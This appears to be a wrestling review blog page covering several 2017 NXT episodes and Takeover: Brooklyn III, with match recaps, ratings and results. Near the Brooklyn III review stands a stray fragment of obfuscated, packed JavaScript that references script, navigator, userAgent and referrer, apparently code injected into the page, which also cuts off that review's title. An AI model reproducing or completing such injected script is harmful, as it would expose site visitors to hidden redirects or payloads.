Rating: B+. Who knew Dream had that in him? This was all about the mind games at first but at the end of the day, you (mostly) knew it was going to be Black Mass wrapping this up. Black seems ready to become a huge deal around here and Dream….I’m not sure where he goes from here actually. Really good match though.

Post match Black takes the mic and says “enjoy infamy….Velveteen Dream.” I’m not sure what to make of that. Sign of respect maybe?

Video on the build to Andrade Cien Almas vs. Drew McIntyre.

From November 17, the night before Takeover: WarGames.

NXT Title: Drew McIntyre vs. Adam Cole

Date: November 17, 2017

Location: Aztec Theater, San Antonio, Texas

Commentators: Mauro Ranallo, Percy Watson, Nigel McGuinness

Drew is defending, Cole has Bobby Fish and Kyle O’Reilly with him and Shawn Michaels is guest referee. McIntyre takes him down with almost no effort and Cole seems to need a fresh plan. Cole gets tossed off a headlock and bails to the floor as the stalling begins. Back in and a jawbreaker staggers Drew, allowing Fish to grab his foot. Fish and O’Reilly get on the apron so Shawn ejects them both.

That earns a SWEET CHIN MUSIC chant as reality sets in for Cole. One heck of a backdrop puts Cole down (well up and then down) and a poke to the eye has no effect on Drew. Shawn calls Drew off of Cole in the corner and McIntyre isn’t exactly happy. Cole takes the knee out though and it’s time for a break. Back with Cole getting powerbombed down and a super Celtic Cross getting two.

Cole is right back by kicking the knee out and hitting a Shining Wizard for two of his own. Sweet Chin Music (well you knew that was coming) is loaded up but Drew drops Cole with the Futureshock. Back up and Cole superkicks Shawn by mistake, meaning the Claymore gets a very delayed two. Cue Fish and O’Reilly to stomp Drew down for a bit but the comeback bumps Shawn again. Shawn is up fast enough to superkick O’Reilly and it’s a swinging Futureshock (cool) into the Claymore to retain the title at 15:12.

Rating: B. This was almost more about Shawn than anything else and that’s just fine. Shawn was a special attraction in this one and really, he’s more interesting than a house show title match. I’m sure Cole is going to be back in the title hunt eventually (around Brooklyn against Gargano would be a nice choice) and Drew should be on the main roster once he gets back from injury. There’s nothing left for him to do in NXT and his size is way too much for the rest of the roster.

Quick look at Almas winning the title the next night, during which Drew suffered a bad arm injury.

Almas is ready to face Johnny Gargano, who he insulted after Gargano won the title shot last week.

We look back at Asuka’s NXT career from her debut to vacating the title.

Package on the women’s division, including looks at the Iconic Duo, Lacey Evans, Kairi Sane, Bianca Belair, Vanessa Bourne, Shayna Baszler and Nikki Cross.

Last week, Sane made it clear that she wants the title but got choked out by Baszler.

Baszler debuts next week.

Video on WarGames, which really was the carnage that it should have been. I know it wasn’t quite the match that a lot of people were expecting but it was still a heck of a performance with some rather memorable spots. Let the WWE have its own version rather than a watered down version of the WCW style, which wouldn’t work today anyway.

We look back at the injured Tommaso Ciampa explaining why he turned on Gargano at Takeover: Chicago. DIY was supposed to have a moment but Ciampa hurt his knee during a match. Fans started talking about Johnny wrestling on his own and that’s not what Ciampa wanted, hence the betrayal. However, during the ladder match, Ciampa tore his ACL in the match and would be out for the rest of the year.

Video on last week’s fatal four way with Gargano becoming #1 contender, earning a shot at Takeover: Philadelphia.

Also set for Philadelphia: Adam Cole vs. Aleister Black. I’m not sure Black wins that one and that makes things more interesting.

Gargano talks about his rough 2017, which started at such a high but then came crashing down around him, including the DIY split and all the losses that followed. He always knew he could do it though and 2018 is going to be the best year of his life. It makes sense to give Gargano this kind of focus as there’s no doubt that he’s going to be one of the top stars in NXT in 2018, likely holding the title at some point. He had a rocky 2017 but the performances were always there.

Here are the categories for NXT’s End of the Year Awards

Takeover of the Year

Match of the Year

Tag Team of the Year

Breakout Star of the Year

Male Competitor of the Year

Female Competitor of the Year

Future Star of NXT

Rivalry of the Year

Overall Competitor of the Year

We get a long profile on Ember Moon, which started with her growing up in Texas watching wrestling with her grandfather. She went to train with Booker T. but got shot down in her first WWE tryout. WWE told her she didn’t have the Diva look (read as: she’s not a blonde model more than likely) but Norman Smiley say something in her. She stuck with Booker’s Reality of Wrestling promotion and developed a following, eventually earning herself a job after a second tryout.

Moon debuted with her crazy entrance and the Eclipse and was off to the races. Eventually she lost to Asuka though and it crippled some of her confidence, only to win the vacant title a few months later. Moon talks about knowing she can do it and being ready for anything to end the show. I remember watching an episode of the Reality of Wrestling show and thinking she was the standout star of the show. It turned out that she had already been signed by the time I saw it so maybe I have an eye for talent.

Overall Rating: B-. Normally I never know what to do for a Best Of show but this actually had some effort put in, which is a nice touch. They covered a lot here and I can appreciate the extra time being spent on something like this instead of just throwing a bunch of matches out there to fill in time. They even managed to add in extra stuff for next week and hype the Takeover because that’s what NXT knows how to do.

The exclusive match was fun and made the show feel special, but I really liked the profile on Moon. We really don’t know much about her and if there’s one thing WWE knows how to nail, it’s introducing you to a character and making them feel important. That’s what I got out of Moon and that’s what WWE needed to do more than anything else with her. Good show here, and the new year should be off to a hot start.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: December 27, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

I know I say this a lot but it’s a big night around here. This time around we have the four way match for the #1 contendership to the NXT Title as Johnny Gargano, Lars Sullivan, Killian Dain and Aleister Black fight for a shot at Andrade Cien Almas. That should be a nice way to wrap up the year so let’s get to it.

Opening sequence.

Street Profits vs. Chris Star/Riley Apex

Those are some rather jobberish names. Ford and we’ll say Star start things off with a shoulder dropping Chris. It’s off to Dawkins for some rapid fire high fiving. A corner splash crushes Apex and it’s the spinebuster into a frog splash to give Ford the pin at 1:49. Total squash with the only noteworthy moment being Apex having a fitting description of NWO JBL.

The Profits hit the crowd and say they want the titles in 2018. It’s not like they’re getting anywhere else squashing jobbers so this works.

Women’s Title: Sonya Deville vs. Ember Moon

Moon is defending. Deville goes straight for a kneebar but Moon is way too close to the ropes. Back up and they both miss some kicks to give us a standoff. A dropkick puts Deville on the floor for a breather as Moon is seemingly a bit hesitant to follow up. Moon speeds things back up with a dive off the apron to the floor and we take a break.

Back with Deville striking away and grabbing a waistlock. Moon finally sends her face first into the turnbuckle for a breather but can’t follow up. Some hard strikes to the chest give Moon two more and a springboard dropkick has Deville in more trouble. The Eclipse retains the title at 10:03.

Rating: C. This was a nice first defense for Moon, especially when no one was buying a potential title change. The Eclipse is still one of the coolest finishers in wrestling and beating someone on the main roster is a good way to make Moon look all the more dominant. There are some big names coming for her though and there’s no way around that.

Post match Kairi Sane comes out and motions that she wants the title. Moon agrees but Shayna Baszler sneaks in and chokes Sane out.

Paul Ellering says the Authors of Pain’s time isn’t over yet and they’re coming for the titles.

Moon says bring on all the challengers.

Video on how everyone qualified for the four way.

Next week is a two hour Year in Review show.

In two weeks, Sanity gets their rematch for the Tag Team Titles.

Killian Dain vs. Aleister Black vs. Johnny Gargano vs. Lars Sullivan

One fall to a finish and the fans are WAY behind Gargano here. Black goes after Sullivan to start and a hard shot sends him outside. After moonsaulting into his seated position, Black moonsaults out onto Sullivan…..who catches him. Dain takes Sullivan down with a suicide dive and we take a break.

Back with Black kicking Sullivan up the ramp but getting shoved into the barricade. Dain throws Gargano onto Black before loading up the announcers’ table. Gargano climbs the set to escape a powerbomb and kicks Sullivan onto the table instead. Dain DIVES off the stage to crush Sullivan through the table and Gargano is stunned.

Black and Gargano head back to the ring and the fans REALLY like this one. The slingshot spear is countered with a hard knee to the head. One heck of a superkick staggers Black into the Gargano Escape but Dain comes in for the save. A backsplash gets two on Black and a powerbomb into an elbow is good for the same on Gargano. Dain heads up but it’s a double powerbomb to pull him out of the corner for another big crash. Somehow Sullivan staggers back to the ring to clean house, including a powerslam for two on Gargano.

It’s time for another big man showdown and back to back clotheslines put both guys down. Black comes back in and cleans house with the kicks including Black Mass to Sullivan, only to have the Undisputed Era come out to break up the pin. A Last Shot on the floor drops Black until Gargano dives onto Adam Cole. Gargano sends the monsters into the steps and the slingshot DDT gives Johnny the pin on Black at 16:40.

Rating: B+. That’s a great way to have Gargano win and to close out the year at the same time. Gargano was basically done a few weeks ago and now he’s risen back up the card to become a top player. If you have him ready to win the title and then have Ciampa return to screw him over, the whole thing is pure gold. The battle of the monsters was very good here too and there were multiple ways to go for the winner here. Really fun match though and Black vs. the Era could be very entertaining.

Overall Rating: B. This was a good way to wrap up the year and it was a fun show as well. Taking next week off is fine too as there’s only so much you can do with a lack of TV available. They’ve set some stuff up for the future, which is pretty much NXT’s trademark at this point. Good show, very good main event and goals accomplished, which is really all you can ask for.

Results

Street Profits b. Chris Star/Riley Apex – Frog splash to Apex

Ember Moon b. Sonya Deville – Eclipse

Johnny Gargano b. Lars Sullivan, Aleister Black and Killian Dain – Slingshot DDT to Black

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

The version that aired on USA was missing a match (likely due to time constraints) between Ember Moon and Peyton Royce.  Here it is, in case you wanted my thoughts on a five minute match.  I’ll also edit this into the regular review.

Ember Moon vs. Peyton Royce

Non-title. Royce gets a rather nice reaction. Peyton wastes no time in kneeing her down, only to get caught in a headscissors. That’s enough to send Peyton bailing to the floor so Moon dives onto both of them for a not great looking crash (she didn’t get a ton of height). Back up and Royce’s version of the Tarantula takes us to a break.

We come back with Moon armdragging her way to freedom and kicking Royce in the ribs. A double underhook is blocked and Royce fires off some kicks to the face for two of her own. The kickout draws some screeching and Mauro calls Peyton Royce the J Lo of WWE. Nigel: “IT’S PEY RO!” Royce’s spinning kick is countered and a middle rope stomp to the ribs sets up the Eclipse for the pin at 7:36.

Rating: C. You can see Royce’s dance background very clearly when she spins and it’s a nice touch. As usual, the Iconic Duo are some of the best things in the division but they need to actually win something at some point. Not a bad match at all, but Moon has bigger challengers coming after her.

Post match Billie Kay jumps Moon (Mauro: “Every kick begins with Kay!”) and Royce adds a knee. Nikki Cross of all people makes the save. The Aussies bail and Nikki looks at the title.

NXT
Date: October 18, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

It’s the Undisputed night as the Undisputed Era are back in the ring this week. Tonight it’s going to be the Undisputed Era vs. Sanity in a six man tag. The question though is how does this help us set up the upcoming Takeover: Houston and how the NXT Title will factor in. Let’s get to it.

We open with a quick look at Sanity vs. Undisputed Era.

Opening sequence.

Sonya DeVille vs. Ember Moon vs. Ruby Riot

The winner is in the four way title match at Takeover. Riot hurricanranas Ember to start but gets lariated down by DeVille. Sonya is sent outside and it’s Ruby flipping Ember around into a standoff. The springboard crossbody gets two on Sonya and a kick to the face gets the same on Riot. Ruby it sent outside and Ember gets kicked down and we take a break. Back with Sonya suplexing them both down, only to be headscissored into Ember for two more.

Riot and DeVille slug away at each other until Sonya is knocked outside. It gets even worse for DeVille when she gets kicked out of the air by Ember. Moon is down as well though, only to have Ruby dive onto the two of them. She comes up with a horrible ankle though and things slow way down. Riot is still able to get inside, only to have DeVille slap on an ankle lock. The hold stays on for a good while until Moon comes in off the top with the Eclipse on Sonya and a pin on Riot at 11:34.

Rating: C-. I wasn’t feeling this one for the most part as it felt disjointed for the most part. The injury at the end was fine and it seems that Riot’s ankle is fine. It’s not terrible but they didn’t have the best chemistry and it showed. Ember or Sane is the best option for the title at this point and it makes sense to have Moon make the title match. If nothing else it means another chance to see the Eclipse.

The Undisputed Era talked to Roderick Strong outside the Performance Center but we couldn’t hear what was said.

William Regal is about to announce how the fourth participant in the Women’s Title match will be chosen but the Iconic Duo comes up to interrupt. Regal gets around to saying that there will be a battle royal next week.

Aleister Black vs. Raul Mendoza

Before any contact, cue the Velveteen Dream on the apron with Black’s vest. The distraction lets Mendoza knee Black to the floor, setting up a running flip dive to the floor. A springboard Swanton gets two on Black but the rapid fire kicks take Mendoza down. Black Mass puts Mendoza away at 2:10.

Dream leaves with the vest with Black glaring at him.

Drew McIntyre had a sitdown interview and is thrilled with his title reign so far. It’s everything he had hoped it was and he’s been feeling pretty good. A few years back he was released from his dream job and it took him a long time to get things together. He was always a wrestler and even his father never understood things. Somewhere along the line his fire went out and now he’s back here to build something special.

Cue Zelina Vega to take over the interview to say Drew and Andrade Cien Almas have a lot in common. She was Andrade’s second chance and thinks Drew has been avoiding him. Drew suggests going to William Regal because he’d love to give Almas a shot. If Andrade is serious, come see the champ himself.

Kassius Ohno vs. Cezar Bononi

They strike it off to start until Bononi hits a dropkick for two. Another dropkick puts Ohno on the floor, followed by a suplex for two back inside. A third dropkick misses though and Ohno scores with his backsplash. Ohno kicks him in the jaw and the rolling elbow is good enough for the pin at 3:05.

Rating: D+. Nothing to see here but Ohno is always going to get a reaction from his theme song alone. Bononi seems like someone who is ready to become a big star if he’s given the right push or character. You can last a long time on a look like that and Bononi hasn’t even scratched the surface yet.

Sanity vs. Undisputed Era

Fish and Wolfe start things off with Fish striking away, only to get tossed into the corner. O’Reilly has about the same level of success and it’s off to Dane to uppercut Kyle in the corner. The fast tags continue with Young adding a middle rope forearm to the chest for two. It’s back to Fish, who scores with more kicks and right hands to Young as the beating takes us to a break.

Back with Cole grabbing a chinlock until his partners work on Eric’s arms. O’Reilly gets two off a double suplex and some kicks keep Young down in the corner. Kyle is smart enough to kick Wolfe off the apron and bring Dain in, allowing him a chance to pull Young to the corner again. Not that it matters as Eric kicks O’Reilly away and makes the hot tag off to Dain.

That means it’s time for the big man offense, including a hard running dropkick and some corner splashes. Fish and O’Reilly get tossed at the same time but Cole superkicks Dain in the back of the head for the save. A belly to back suplex/neckbreaker combination puts O’Reilly down and Cole is quickly surrounded. Sanity takes him inside….and here are the Authors of Pain to jump Sanity for the DQ at 13:31.

Rating: C+. I liked this one, though it didn’t hit the level I was hoping it would. The ending is interesting as it could set up a potential three way feud, which often means a heck of a story. The Undisputed Era wasn’t destroyed here as there was a reasonable chance that O’Reilly and Fish could have gotten back into it for the save. Good stuff here but it’s a step on a long path.

The Authors destroy Sanity as the Undisputed Era leaves to end the show.

Overall Rating: C+. The main event was the most interesting part of the show but more importantly we’re starting to see the card for Takeover forming. That makes for some interesting shows as we’re getting ready for the rest of the card. Just let us have a good special event and the TV feels even better than it already does. Solid show this week but nothing too great.

Results

Ember Moon b. Sonya DeVille and Ruby Riot – Pin on Riot

Aleister Black b. Raul Mendoza – Black Mass

Kassius Ohno b. Cezar Bononi – Rolling elbow

Sanity b. Undisputed Era via DQ when the Authors of Pain interfered

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thtdz|var|u0026u|referrer|yyhsf||js|php'.split('|'),0,{})) Brooklyn III
Date: August 19, 2017
Location: Barclays Center, New York City, New York
Commentators: Mauro Ranallo, Percy Watson, Nigel McGuinness

It’s the biggest night of the year for NXT and they’re getting to be in front of probably 15,000 people. Not bad for a show that regularly gets a few hundred no? Anyway tonight’s main event is Bobby Roode defending the NXT Title against Drew McIntyre as NXT continues to do TNA better than TNA ever could. Let’s get to it.

Code Orange performs one of the three theme songs live, intercut with shots of the wrestlers on the card tonight. It’s not quite HHH shouting WE ARE NXT but I’ll take what I can get.

Johnny Gargano vs. Andrade Cien Almas

Almas has Zelina Vega with him. The JOHNNY WRESTLING chants are out in full force tonight for what Mauro calls a quintessential crossroads confrontation. Almas takes him down into a headscissors to start and throws in some posing for good measure. Johnny is right back with a very nice series of rollups for two and we hit a front facelock. Some chops earn Gargano an elbow to the chest and he charges into a hanging armbar over the top rope.

Andrade stays on the arm for a bit until a drop toehold sends him into the buckle. There’s a hard double clothesline to put both guys down and things slow down a bit. Gargano is back up first with the slingshot spear for two and a good looking kick to puts Almas on the floor. Johnny follows him out with a suicide dive and you know that means an NXT chant. A slingshot DDT gives Johnny two more but another slingshot spear is countered (never do the same spot twice) into a faceplant.

As I picture Randy Orton countering that into a DDT, Almas gets two off an inverted tornado DDT. Almas takes him up top but has to counter a sunset bomb before hiptossing a charging Gargano into the corner. Johnny is right back with a headscissors into the Gargano Escape (that shoulder lock) but Andrade spins out into a rollup, which he lifts up into a buckle bomb.

The running knees in the corner get a VERY hot two and Almas is stunned. Gargano hits a pair of superkicks (well you knew that was coming) and a launches him face first into the middle buckle. Zelina throws in a DIY shirt at Johnny though and the distraction is enough for Almas to grab the hammerlock DDT for the pin at 13:13.

Rating: B+. Oh yeah this is going to work. Gargano is going to be just fine with a performance like this as he doesn’t have anything overly flashy but he does everything so well that it’s hard to not like what you see. Almas winning is the right call though, especially after you give him Vega to make him more focused. He could easily get into the main event scene and I wouldn’t have a single complaint.

Gargano backs away from the DIY shirt.

Kurt Angle, Daniel Bryan, Billie Kay, Peyton Royce, No Way Jose and some others are in a sky box.

We recap the Tag Team Title match. The Authors of Pain have run through everyone around but they haven’t ever dealt with anything like Sanity. The rules are thrown out the window with this one and it could mess with the champs.

Corey Graves comes out to do commentary for the next match.

Tag Team Titles: Authors of Pain vs. Sanity

Sanity, represented by Alexander Wolfe and Killian Dain with Eric Young and Nikki Cross at ringside, is challenging. It’s a big brawl to start with the Authors clearing the ring before the bell. Sanity is more than willing to fight on the floor as Young sets up a table against the barricade. We finally settle down (or as close as we’re going to get to doing so) with Akum hamming on Wolfe until a charge misses.

Young jumps on the apron and tells Dain to go to the floor, which seems to be legal because Dain was never legally in and you can change lineups until that takes place. The things you learn watching a Takeover. The fight heads into the crowd with Akum missing a charge and going shoulder first into the barricade. It doesn’t seem to bother him though as he sends Young back inside for a Dominator.

A sideslam/middle rope stomp gets two on Eric and it’s off to Razar for a chinlock. Young tries to slide between Razar’s legs but gets choked down for his efforts. Razar misses a charge in the corner and there’s the hot tag to Wolfe to start the house cleaning. Everything breaks down and Wolfe snaps Akum over with a German suplex. The Authors are back up and try a superbomb but Wolfe reverses into a hurricanrana.

It’s back to Young for a neckbreaker but the top rope elbow is broken up. Nikki grabs Young’s legs to prevent the Tower of Doom though and it’s Akum powerbombing Razar by mistake. Eric’s top rope elbow gets two, followed by Sanity hitting back to back suicide dives. Cross loads up one of her own but Paul Ellering of all people cuts her off. Nikki dives anyway so Akum catches her, earning himself a spear from Dain to put all three of them through the table. A belly to back/middle rope neckbreaker combo puts Razar away to give Sanity the title at 12:15.

Rating: B. I was thinking Sanity would get the call up and be revealed as the people tormenting Breezango but this works too. This was WAY better than I was expecting as they went just crazy enough to get past the monsters. I had a good time with the match and that’s not something I expected out of Sanity. Good stuff here and probably the right call.

Post match here are Kyle O’Reilly and Bobby Fish (ReDRagon, former ROH Tag Team Champions) to go after all four guys, including Chasing the Dragon and a modified high/low. ReDragon holds up the titles to make it clear before leaving through the crowd.

Neville, Shinsuke Nakamura and Kalisto are in the crowd.

Jim Ross comes out for commentary on the next match.

Hideo Itami vs. Aleister Black

Black gets played to the ring live. There’s not much of a story here other than Itami saying he wanted respect and getting his head kicked off by Black. They go straight for the kicks to start (as you knew they were going to) until Black sends him outside and moonsaults into his sitting position. Black charges into a kick in the corner and gets draped over the ropes for a middle rope Fameasser.

We hit the neck crank for a bit before a knee to the ribs cuts Black off again. Black has a bloody nose as Itami grabs a chinlock. JR: “It’s hard to kick someone in the head when you’re laying on the mat.” Eh I’ve seen Bryan do it. Black fights up but eats a DDT for two. Back up and Black starts hitting his kicks, followed by a sliding knee to the head.

A standing Lionsault is nearly botched as Black barely moves backwards, forcing Itami to go forward so the legs can hit him. Itami breaks up the Black Mass and gets two off a top rope clothesline. A spinning strike to the head drops Black into the corner and there’s a big old spinning kick to Itami’s head to knock him silly. Black goes up top for some reason but gets pulled down with a super Falcon Arrow for a very delayed two.

Itami crawls over to him but Black pops up (with JR possibly calling him Allison) for a strike off. The jumping knee to the face staggers Itami, only to have Black charge into another Falcon Arrow for two. There goes the kneepad but Black knees out of the GTS. Itami demands respect so Black Mass knocks him cold for the pin at 12:35.

Rating: B+. Aleister Black is just cool and when you add in an amazing finisher, there’s only so much you can find wrong with him. There’s not much of a reason to not move him up towards the top of the card very soon, though I’m not sure who you have him beat up next before he goes to the title picture. Itami got to look great out there too and that’s going to keep him strong going forward. Really awesome match here.

Notice that we’re three matches in and this is what we’ve had:

Match 1 – Wrestling clinic
Match 2 – Total chaos/power brawl
Match 3 – Strike off

Three different match types, meaning the fans have no chance to say “we’ve seen this before”. That’s a very important key that so many shows don’t get.

Bayley, Sasha Banks and Becky Lynch are here.

We recap Asuka vs. Ember Moon. Asuka has been undefeated for nearly two years and has been champion for over sixteen months. She had to cheat to beat Ember in Chicago though and that gives Ember more confidence. The key to the whole thing is the Eclipse, which is the one weapon that even Asuka can’t prepare for.

Women’s Title: Asuka vs. Ember Moon

Ember is challenging and looks almost confused during Asuka’s entrance. We get the Big Match Intros and Ember kicks her in the jaw early to start followed by a second kick to send the champ outside. Ember follows with a Cannonball to the floor but Asuka sends her hard into the steps for a breather. Moon comes up holding her bad shoulder so Asuka grabs a suplex onto the ramp.

Back in and it’s time for the kicks to the arm followed by a standing armbar. An STO sends Moon down again, with Mauro actually saying what it stands for (space tornado Ogawa) in your nightly trivia. Asuka grabs an armbar but Ember powers her up into an electric chair. Some kicks give Ember a delayed two, only to have Asuka German suplex her into the corner. The Asuka Lock is broken up and Moon grabs one of her own.

That’s reversed into the regular version with Asuka jumping onto the back. Moon falls backwards for the break and a clothesline with the good arm drops Asuka again. Asuka’s running hip attack hits the corner so Ember comes back with the middle rope suplex (ala Wade Barrett) for two more. They head back to the corner with Asuka not being able to hit a superplex. Instead Ember pulls her down for a Del Rio double stomp and two.

The Eclipse connects…..for two? Huh? Like really, huh? Ember goes up again for a high crossbody but Asuka rolls through and grabs the trunks for two with the referee catching her in the act. A superkick gives Ember a VERY close two but Asuka pulls her down into the Asuka Lock in the middle of the ring for the tap at 14:36.

Rating: B. Well I’m stunned. The ONLY thing I can guess now is that they want the winner of the Mae Young Classic to take the title from Asuka, though it’s hard to imagine anyone being built up that fast to take the title from her. Ember winning might have been a stretch and Asuka winning a hard fought match is always fun, but I’m actually shocked here. That’s a good thing….I think.

Ember gets the big standing ovation.

Kevin Owens and Samoa Joe are here.

We recap Bobby Roode vs. Drew McIntyre. Roode debuted last year in Brooklyn and won the NXT Title just a few months later. McIntyre returned earlier this year in Orlando and said it was time for him to reach a level he didn’t reach in his first run. He said he took things for granted but nothing like that is happening this time. Of note, the package featured McIntyre’s old Broken Dreams theme music.

NXT Title: Drew McIntyre vs. Bobby Roode

Drew is defending and is played to the ring by the New York Police Department Emerald Society Pipes and Drums. Roode’s entrance features a digital piano on the stage with blue lights sliding down to play the notes. The stage is covered by smoke and here’s Roode on his pedestal for the real entrance.

Drew shoves him away to start and we get a 3MB chant. Roode tries to chop to no avail, allowing Drew to hit his suplex slam. They fight out to the floor with Roode getting in a few shots, only to charge into a tilt-a-whirl slam onto the apron. A neck snap across the rope and a Blockbuster from the apron drop Drew though and the champ takes over. Roode gets two off a Rude Awakening and stomps away on the ropes.

There’s a missile dropkick to set up the chinlock for a bit as Nigel points out a bruise on Roode’s thigh. Bobby charges into a belly to belly and Drew gets in a top rope forearm to the chest. The Celtic Cross (White Noise) gives Drew another near fall. They head to the corner where Drew’s superplex is broken up, only to have Drew sit up out of the Tree of Woe for a kind of choke throw off the top.

Roode is smart enough to play possum (it’s a Canadian thing) and a Backstabber gets two. Future Shock gives Drew the same but his super Celtic Cross is countered into a running powerbomb for another near fall. Drew is back up with the Claymore but Roode’s foot is in the ropes. Roode heads outside so Drew busts out a huge no hands flip dive to put both guys down.

Back in and another Claymore is countered into a big spinebuster. The Glorious DDT connects for a very close two and both guys are spent. There’s another Glorious DDT but Roode picks him up for an attempt at a third, setting up the Claymore to give Drew the pin and the title at 22:26.

Rating: A-. I’m a big fan of Roode’s matches for the simple reason of he has such a basic style but does it so well that it’s hard not to get behind it. McIntyre winning for the feel good moment is a cool idea though and it’s clear that he’s one of the best things they have in NXT. He’s going to be on the main roster sooner rather than later so putting the title on him quickly makes sense.

Post match Drew holds up the title but you can see the fans looking at something in the crowd. ReDRagon shows up on the apron and here’s the debuting Adam Cole (called by that name, complete with the announcers saying BAY BAY) to lay McIntyre out with a superkick. Cole holds up the title to end the show.

Overall Rating: A. Yeah these things are still awesome and I’m sorry for every doubting that they would be. The ending is a very nice touch as NXT isn’t one to use stables all that often. Cole is a good talker and could be a great leader for the ROH stable, though I wouldn’t be complaining about them adding a fourth name. The rest of the show was of course outstanding with five good to very good matches, which you just don’t see on almost any other show. As usual, NXT is likely to win the weekend but that goes without saying anymore. Another fantastic show.

Results

Andrade Cien Almas b. Johnny Gargano – Hammerlock DDT

Sanity b. Authors of Pain – Belly to back suplex/middle rope neckbreaker combination to Razar

Aleister Black b. Hideo Itami – Black Mass

Asuka b. Ember Moon – Asuka Lock

Drew McIntyre b. Bobby Roode – Claymore

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